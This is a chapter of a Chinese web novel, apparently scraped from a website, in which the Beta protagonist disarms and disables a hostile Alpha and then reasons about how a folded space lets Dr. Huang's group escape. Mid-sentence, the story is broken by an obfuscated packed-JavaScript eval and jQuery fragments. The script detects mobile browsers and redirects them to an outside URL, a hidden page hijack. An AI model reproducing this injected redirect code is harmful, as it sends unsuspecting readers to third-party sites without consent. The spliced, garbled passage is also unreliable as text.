14. chapter 14

作品:《咱们Beta有力量

    “我,”塞西尔少爷五指攥得紧紧的,仿佛只要不接枪就能逃避被踢出大部队的命运,“我是塞西尔家新生代最优秀的Alpha!是塞西尔家的未来!你不能……”


    随即他记起黄博士平日里多么冷酷无情,无语伦次地乞求:“塞西尔家愿意给您的课题组一千万联盟币资助……不,两千万!”


    黄博士任由塞西尔少爷抓着防护服,像一尊低头俯视脚边信徒的雕像,任何哭求都撼动不了他。


    这都是家族最优秀的小A,没救了,这种没未来的家族得罪就得罪吧。况野吐槽。


    黄博士对塞西尔少爷已经算网开一面了,况野一眼看穿黄博士递枪的用意。


    黄博士应该心知肚明她,陌陌和塞西尔少爷都有仇,借机及时清除了可能导致潜在矛盾的几人。


    而四人当中她和贝尔蒙特队长属于战斗人员,黄博士却只给了塞西尔少爷手握杀器的条件。无论事后是塞西尔少爷被她杀,还是她和塞西尔少爷同归于尽,在场者都是目击证人,塞西尔家怪也怪不到黄博士头上。


    一箭双雕。


    这人浑身上下有八百个心眼子,在他附近得时时防着他,太心累。以后遇见还是绕道走。况野给黄博士下了定论。


    黄博士将那支手枪放在跪地哭泣的塞西尔少爷面前,不易察觉地皱了皱眉。


    他有轻微洁癖,其他人突破社交距离的触碰,把防护服弄脏的状态是他不喜欢的。


    抓住生死重压下每个人心里那点活下去的渴望,他轻而易举掌控了015拓荒者小队。明知队长贝尔蒙特此去面临极大危险,拓荒者们如他所料的那样,流露出担忧但没人敢表示反对。


    十数人的团队,贯彻他一人的意志。


    就是……黄博士扫视全场的目光忽然微妙一顿,仿佛技艺高超的演奏家弹琴失误冒出个错音,那个叫况野的Beta太过平静了。


    压抑又乱哄哄的背景里,她半倚在越野上,视线漫无目落在地平线上。


    既好像早就预判他会这么做,又好像乐见其成。


    “况,况野,你不害怕吗……”


    陌陌小小声问。


    大部队和四人分道扬镳,分别朝不同方向的信号塔走去。


    远到回头看不见大部队的影子,加上时间已经来到阳光最刺眼的中午,疲惫恐惧不断发酵,她最终忍不住问。


    两人初次见面况野就抽断了那个Alpha的鼻梁,且疯且暴力,没道理这么逆来顺受。陌陌觉得况野在憋一个大招。


    “害怕啊。”况野说,“我这不是一直被枪指着吗。”


    她身后,塞西尔少爷举起的枪口离她心口位置不超过三十厘米。黄博士一行人把车开走了,四人只好步行,塞西尔少爷用枪威胁况野必须走在最前面,他自己疑神疑鬼走走停停,这样一来前进速度极慢。


    况野:“举了这么久的枪,手不酸吗?”


    “再挑衅我杀了你!”塞西尔少爷怒吼。


    失去哨兵保护,他就像拔了毛的鸡,大脑忽然开智,一个活着解决了维尔汀港污染物的Beta再怎么废物,也是可以分分钟杀了他的。


    况野耸耸肩:真心实意疑问被当成嘲讽……算了,她挺有挑衅天赋。


    贝尔蒙特被勒令走在塞西尔少爷右侧:“也不知道其他人那里怎么样了。”其他人特指015小队的拓荒者们。


    “我觉得你先担心担心城市状况吧,”况野说,“回家的那个林辛宥还不知道是不是人。”


    经况野这么一提醒,贝尔蒙特的心情瞬间跌倒谷底。


    领域,复制区,复制人,这些接踵而至让他差点忘了另一个“林辛宥”混进了市里。等拓荒者们想起来要把消息传回去时,领域已经隔绝了通信。


    据陌陌的说法,林辛宥失踪期间他们也不是呆在一起的,相反,她到F7污染区后才偶然碰到了林辛宥。


    在此之前,没人说得清林辛宥身上发生了什么。


    “我说了,再出声就去死!”


    塞西尔少爷紧张的精神岌岌可危,他本来就处于理智和失控的边缘了,就像一颗急速旋转的陀螺,外界一点风吹草动都会让陀螺失去平衡,被惯性抽飞出去。


    砰!


    塞西尔少爷不管不顾开枪了!


    对非专业人士,手枪有效射程在十米内,后座力将塞西尔少爷推得向后仰。硝烟浓重刺鼻,却没有被狂飙的血液溅满头满脸。


    塞西尔少爷下意识摸摸脸侧一点血沫,他在最后时刻打偏了……巨大的反作用力震得手枪脱手,角度发生偏差。


    但况野确实被他射伤了,高速旋转的子弹擦着左耳飞过,削掉了一小块组织,登时血流如注,染红了况野半边脖子。


    塞西尔少爷看着况野抬手摸了一下左耳,表情瞬间变得阴沉。


    本来她还想等验证完一些想法再动手的……况野转身,一个上勾拳砸到塞西尔少爷下颚,刚才子弹高分贝的冲击她现在耳鸣不断。


    对方椎骨咔咔作响,况野拧转塞西尔少爷下臂缴械,另一边手做了个从储物囊掏武器的假动作,就着塞西尔少爷向后栽倒的势头哐啷一扳手砸中眉骨。


    脑浆仿佛迸开的剧痛让塞西尔少爷尖叫起来,蜷缩着在地上翻滚。


    他不明白怎么不到一秒枪就易主了,那个恶劣的Beta明明随时可以反击,为什么装着戏弄他?!


    低贱的……生来就该给Alpha做牛做马的Beta……塞西尔家要把她拔骨抽筋……


    况野弯腰,发现塞西尔少爷疼得打滚了,嘴里还含混威胁这些有的没的,不禁笑了一下。


    这在塞西尔少爷眼里无疑是魔鬼的笑容,她上前三两下卸掉了塞西尔少爷四肢关节,又顺手喀啦一下弄错位了颌关节,塞西尔少爷物理安静了。


    事情发展得太快,陌陌和贝尔蒙特都懵了。就况野这个熟练给人脱臼的手法凶残无比,还不知道她真实身份的贝尔蒙特已经把她脑补成履历丰富的杀手了。


    “别看了,过来帮忙。”况野说。


    作为受过上个世界教育的守法公民,况野不想杀人。


    “哦哦。”陌陌和贝尔蒙特一人拉着塞西尔少爷一条腿,轮换着把人往前拖。


    唉,如果塞西尔少爷能配合地走快点,她也不介意被人用枪指着。况野嘀咕,转头让两人加快脚步。


    走了一段时间,陌陌和贝尔蒙特也看出了污染物领域的变化,他们切切实实离信号塔的距离变近了!


    也就是说,原本根据一行人活动确定的对称轴坐标,在两边分到扬镳后固定了!


    看到一线逃离污染物领域的希望,两人心情振奋,连拖塞西尔少爷都更起劲了。


    “还有好几件事没有确定。”况野说。从复制人出现开始,她脑海里盘旋的设想和念头很多,一直都没停歇,此时远不像另外两人那么兴奋。


    陌陌保持乐观:“可是,能到信号塔就意味着能摸到领域边界。”抵达边界便是逃生的第一步。


    快到信号塔的时候,时不时抬起望远镜瞭望的况野动作忽然慢了半拍,她发现了她目前最不愿看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17379325|200008||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到的场景。


    一个015拓荒者小队的队员正来回在信号塔下徘徊。


    黄博士的设想得到了证实:这个领域是个弯折空间。


    >


    两伙人同时朝信号塔背向而行,黄博士他们开车,一定比况野更早来到信号塔。


    合理推测这个队员又是一只被推出来的小白鼠,穿过信号塔A临界点的小白鼠,啪,落到了空间上实际重合着的信号塔B。


    急得团团转的小白鼠,看到他们这群小白鼠前辈,激动得两眼泪汪汪:“队长!”


    况野打断两位同事交谈,一连问了对方好几个问题。


    对方一一作答:“……我走过信号塔的时候,听到他们好像要去大树附近……”


    大树下,就是况野最开始撞上黄博士和015拓荒者小队的地方!


    况野神经跳了一下,莫名涌现危险感。


    算算拓荒者到信号塔B和现在的时间差,况野一把将痛昏过去的塞西尔少爷甩到肩上,当机立断:“跑!快跑!”


    其他三人不明所以,但况野看起来是他们当中唯一明白发生什么了的,下意识立刻跟着她疯狂向信号塔狂奔而去。


    天边的火烧云像泼洒在画布上的颜料,腐朽的信号塔在夕阳下呈现出略微扭曲的形状。


    野草如潮水淹没了他们狂奔的身影,空气中突然出现微妙波动。


    况野心里一紧,脚下的速度没有放慢,一边扭头向后看。


    天空膨胀,收缩。膨胀,收缩。


    原本应该凝固静止的天幕微微震颤,那种诡异的感觉,况野脑海里只有一个形容,那就是盖在他们头顶的天空,像获得生命一样……在呼吸。


    然后类似肺叶的天幕缓慢龟裂,像天冷冻裂皮肤般绽开裂口。


    “定位……其他人的信号不见了。”拓荒者小队队员愣住了。


    015拓荒者小队之间出任务都会戴上信号发射器,主要是用来监控队员的生命体征。


    现在另外八人生命体征齐刷刷掉线。


    反应得还是不够快。况野无奈地摇摇头,扔沙包一样把塞西尔少爷丢到地上,叉腰喘气。


    “黄博士他们已经逃出了污染物领域。”


    “什么?”


    陌陌几人的声音有慌乱,有难以置信,还有恐惧。


    他们五个人被丢弃在污染物领域,没有武器,食物和水也剩余不多。浓浓的绝望笼罩了他们,尤其是两个拓荒者,黄博士一走,同时也抽走了他们的主心骨。


    “你知道什么的,对不对?”比起站都有点站不稳的拓荒者,陌陌是最冷静的那个。又或者说她的冷静来自于神奇的对况野的信任感。


    况野点点头,盘腿坐下来。


    这一天太折腾了,想到接下来要做的事,她需要稍微休整一会。


    “从哪里开始说起呢,”被三双眼睛紧盯着,况野想了想,指着越来越遥远的信号塔说,“先从复制这点说起吧。”


    第一条线索,尝试走到信号塔下,却以失败告终,可以证明这个复制空间的对称轴不是固定不变的。


    于是为了解决变动的对称轴,黄博士提出了分头行动。也正如况野和黄博士预料的那样,这回对称轴固定,他们在以对称轴为起点的坐标轴上做出了有效运动。


    第二条线索,领域是像弯折纸张那样的弯折空间。


    到这里似乎掌握了领域内自由行动规律,那黄博士是怎样打破领域出去的呢?


    “弯折的不仅是空间,”况野说,“还有时间。”